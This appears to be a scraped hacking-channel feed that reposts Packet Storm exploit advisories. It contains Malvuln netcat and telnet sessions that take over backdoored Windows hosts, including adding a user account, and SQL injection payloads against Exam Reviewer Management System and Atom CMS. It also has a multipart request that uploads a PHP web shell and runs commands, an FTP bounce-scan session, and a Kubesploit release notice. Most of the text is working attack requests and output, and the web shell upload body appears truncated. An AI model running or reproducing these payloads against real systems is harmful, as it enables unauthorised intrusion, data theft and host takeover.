Exploit Collector
Backdoor.Win32.XRat.k Remote Command Execution

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Backdoor.Win32.XRat.k malware suffers from an unauthenticated remote command execution vulnerability.

MD5 | 863d62a91a107421d8e0bb06da35c4da

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/3d4350282ae043177063de2ad4827b97.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.XRat.k
Vulnerability: Unauthenticated Remote Command Execution
Description: XRat malware listens on TCP port 20888. Third-party attackers who can reach the system can run commands hijacking the infected host.
Type: PE32
MD5: 3d4350282ae043177063de2ad4827b97
Vuln ID: MVID-2022-0482
Dropped files: Rat.exe
Disclosure: 02/08/2022

Exploit/PoC:
nc64.exe x.x.x.x 20888
"X-Rat System Console" v2.8

Status Ready, Client: 192.168.18.130:8325

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#exec calc
Command "EXEC" succeed.

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Exam Reviewer Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
Exam Reviewer Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | e7970c8c1f902600773384a6a7f42435

Download
# Exploit Title: Exam Reviewer Management System 1.0 - ‘id’ SQL Injection
# Date: 2022-02-18
# Exploit Author: Juli Agarwal(@agarwaljuli)
# Vendor Homepage:
https://www.sourcecodester.com/php/15160/simple-exam-reviewer-management-system-phpoop-free-source-code.html

# Software Link:
https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code

# Version: 1.0
# Tested on: Windows 10/Kali Linux
Description – The ‘id’ parameter in Exam Reviewer Management System web
application is vulnerable to SQL Injection

Vulnerable URL - http://127.0.0.1/erms/?p=take_exam&id=1
POC:-
---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: p=take_exam&id=1' AND 4755=4755 AND 'VHNu'='VHNu
Type: error-based

Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)

Payload: p=take_exam&id=1' OR (SELECT 8795 FROM(SELECT
COUNT(*),CONCAT(0x71766a7071,(SELECT
(ELT(8795=8795,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'MCXA'='MCXA
Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: p=take_exam&id=1' AND (SELECT 2206 FROM (SELECT(SLEEP(5)))AhEo)
AND 'vqGg'='vqGg---
*SQLMAP COMMAND*
*# sqlmap -u "127.0.0.1/erms/?p=take_exam&id=1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Exam Reviewer Management System 1.0 Shell Upload

https://1.bp.blogspot.com/-vtYXiq7PjFk/WWlvT3pSItI/AAAAAAAAIN4/S7SZq03xxCsAAYdYEaQwiY4Z64tRJ_WvQCLcBGAs/s1600/h43.png
Exam Reviewer Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 8210a6ab622dcfcedbd58f7c4239c69c

Download
# Exploit Title: Exam Reviewer Management System 1.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-02-08
# Exploit Author: Juli Agarwal(@agarwaljuli)
# Vendor Homepage:
https://www.sourcecodester.com/php/15160/simple-exam-reviewer-management-system-phpoop-free-source-code.html

# Software Link:
https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code

# Version: 1.0
# Tested on: XAMPP, Kali Linux
Description – The application suffers from a remote code execution in the
admin panel. An authenticated attacker can upload a web-shell php file in
profile page to achieve remote code execution.
POC:-
==========

# Request:

==========

POST /erms/classes/Users.php?f=save HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0

Accept: */*

Accept-Language: en-US,en;q=0.5

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data;
boundary=---------------------------37791356766765055891341961306

Content-Length: 1004

Origin: http://localhost

Connection: close

Referer: http://localhost/erms/admin/?page=user

Cookie: PHPSESSID=22f0bd65ef694041af3177057e7fbd5a
-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="id"
1

-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="firstname"
Adminstrator

-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="lastname"
Admin

-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="username"
admin

-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="password"
-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="img"; filename="shell.php"

Content-Type: application/x-php
Remote code execution:

-----------------------------37791356766765055891341961306—
================

# Webshell access:

================
# Webshell access via:

POC: http://localhost/erms/uploads/1644334740_shell.php?cmd=id
# Webshell response:

Remote code execution:

uid=1(daemon) gid=1(daemon) groups=1(daemon)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Prexot.a Man-In-The-Middle

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
Backdoor.Win32.Prexot.a malware suffers from a man-in-the-middle vulnerability.

MD5 | aa5e4eb06006a2dcf207be3a2d5ed11a

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/29bc048d58ab8038c7001ef0d5e69c9b_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prexot.a
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on random high TCP ports e.g 11404, 19545, 17001, 10110 and accepts any credentials. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 29bc048d58ab8038c7001ef0d5e69c9b
Vuln ID: MVID-2022-0485
Dropped files: services.exe, mstempf.exe
Disclosure: 02/08/2022
Exploit/PoC:
nmap -n -Pn -b malvuln:malvuln@192.168.18.129:19545 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-07 15:45 UTC-11
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).
Attempting connection to ftp://malvuln:malvuln@192.168.18.129:19545
Connected:220 Bot Server (Win32)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 15:46
Attempting connection to ftp://malvuln:malvuln@192.168.18.129:19545
Connected:220 Bot Server (Win32)
Login credentials accepted by FTP server!
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 15:46, 10.39s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 19.63 seconds
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Wdoor.11 Remote Command Execution

https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
Backdoor.Win32.Wdoor.11 malware suffers from an unauthenticated remote command execution vulnerability.

MD5 | b57cd6448d7337bfd68c746366293d5b

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/55822613e0d0f437f3ebe5c7f4155452.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wdoor.11
Vulnerability: Unauthenticated Remote Command Execution
Description: Wdoor by F-king listens on TCP port 80. Third-party attackers who can reach the system can run any OS commands hijacking the infected host.
Type: PE32
MD5: 55822613e0d0f437f3ebe5c7f4155452
Vuln ID: MVID-2022-0483
Disclosure: 02/08/2022

Exploit/PoC:
nc64.exe x.x.x.x 80
Get Shell ok!

Get host error! SocketMicrosoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>net user HYP3RLINX 666 /add
net user HYP3RLINX 666 /add
The command completed successfully.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Atom CMS 2.0 SQL Injection

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
Atom CMS version 2.0 suffers from a remote SQL injection vulnerability.

MD5 | da443d2658775c9482ec46f79fccada9

Download
# Exploit Title: AtomCMS v2.0 - SQLi
# Date: 08/02/2022
# Exploit Author: Luca Cuzzolin aka czz78
# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS
# Version: v2.0
# Category: Webapps
# Tested on: Debian linux
# CVE : CVE-2022-24223
====================================================

# PoC : SQLi :

http://127.0.0.1/Atom.CMS/admin/login.php
POST /Atom.CMS/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/Atom.CMS/admin/login.php
Cookie: PHPSESSID=tqfebdu4kn9qj7g6qpa91j9859
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
email=test%40test.com&password=1234
Vulnerable Payload :

Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=test@test.com' AND (SELECT 5613 FROM
(SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234
Vector: AND (SELECT [RANDNUM] FROM
(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: email=test@test.com' UNION ALL SELECT
NULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a5365634158734975,0x71627a7871),NULL,NULL,NULL,NULL--
-&password=1234
Vector: UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL-- -
---
====================================================


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Prexot.a Authentication Bypass

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png
Backdoor.Win32.Prexot.a malware suffers from a bypass vulnerability.

MD5 | b22c7bec7401a64473a7c1f48d186639

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/29bc048d58ab8038c7001ef0d5e69c9b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prexot.a
Vulnerability: Authentication Bypass
Description: The malware listens on random high TCP ports e.g 11404, 19545, 17001, 10110. Third-party attackers who can reach an infected system can logon using any username/password combination.
Type: PE32
MD5: 29bc048d58ab8038c7001ef0d5e69c9b
Vuln ID: MVID-2022-0484
Dropped files: services.exe, mstempf.exe
Disclosure: 02/08/2022

Exploit/PoC:
nc64.exe x.x.x.x 10110
220 Bot Server (Win32)
USER malvuln
331 Password required.
PASS hate
230 Login successful. Have fun.
SYST
215 UNIX Type: L8
1PASV
227 Entering Passive Mode
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Grandstream GXV31XX settimezone Unauthenticated Command Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Freddy.2001 Authentication Bypass / Command Execution

https://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png
Backdoor.Win32.Freddy.2001 malware suffers from authentication bypass and remote command execution vulnerabilities.

MD5 | 54284610e15226f65a002ea1d5c32d82

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/434923afc32a7bc7355ed9a5224b9273.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Freddy.2001
Vulnerability: Authentication Bypass Command Execution
Description: The malware listens on TCP port 19535. Third-party intruders who can reach an infected host can gain access using an empty password and run commands made available by the backdoor using TELNET.
Type: PE32
MD5: 434923afc32a7bc7355ed9a5224b9273
Vuln ID: MVID-2022-0486
Dropped files: sycon2.exe
Disclosure: 02/08/2022

Exploit/PoC:
#Note: use TELNET

telnet.exe x.x.x.x 19535

Enter password:

User: Victim
Computer net name: DESKTOP-2C3JQHO
IP address: 192.168.18.129
Local date & time: 2/3/2022 2:45:46 AM
Hackers connected: 2
$y(0n v.2.3.2 by Meerkat Systems | NLG
Sycon>
Sycon> windows
Window 6976: dump
Window 6976: tmp
Window 1956: Administrator: Administrator Command Prompt
Window 6976: Program Manager
Sycon> cd \
CD: C:\
Sycon> dir
Found: $Recycle.Bin
Found: Boot
Found: bootmgr
Found: BOOTNXT
etc...
Sycon> exec calc
Executing...
Sycon> logoff
Windows is going down...
I'm killed!
Sycon>
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
CVE-2019-15947 Bitcoin Core Crash Dumps Contain Wallets Whitepaper

https://external-preview.redd.it/Ya0yiPg-RmCPJG_3gsQkJ2pPrusY0F2AlNX9DxifvbY.jpg?width=216&crop=smart&auto=webp&s=6772d9f917bd584c804736c881055e3bc7c976fb submitted by /u/oxagast
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
New release of 🔥Kubesploit v0.1.3🔥

I am happy 😀 to announce for the release of 🚀 Kubesploit v0.1.3 🚀!

🔥What's new🔥:
- New modules:
1. Container breakout using cGroup
2. Container breakout using kernel module
3. Deepce integration for scanning vulnerable docker containers
4. Module scanner that will show you what exploit you can use on the container
5. Bugfixes

Thanks to our contributors, and I also encourage you to check it and if you have any suggestion how to improve we would be happy to hear 😀.

You can find it here:
https://github.com/cyberark/kubesploit

Release Notes:
https://github.com/cyberark/kubesploit/releases

submitted by /u/jat0369
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video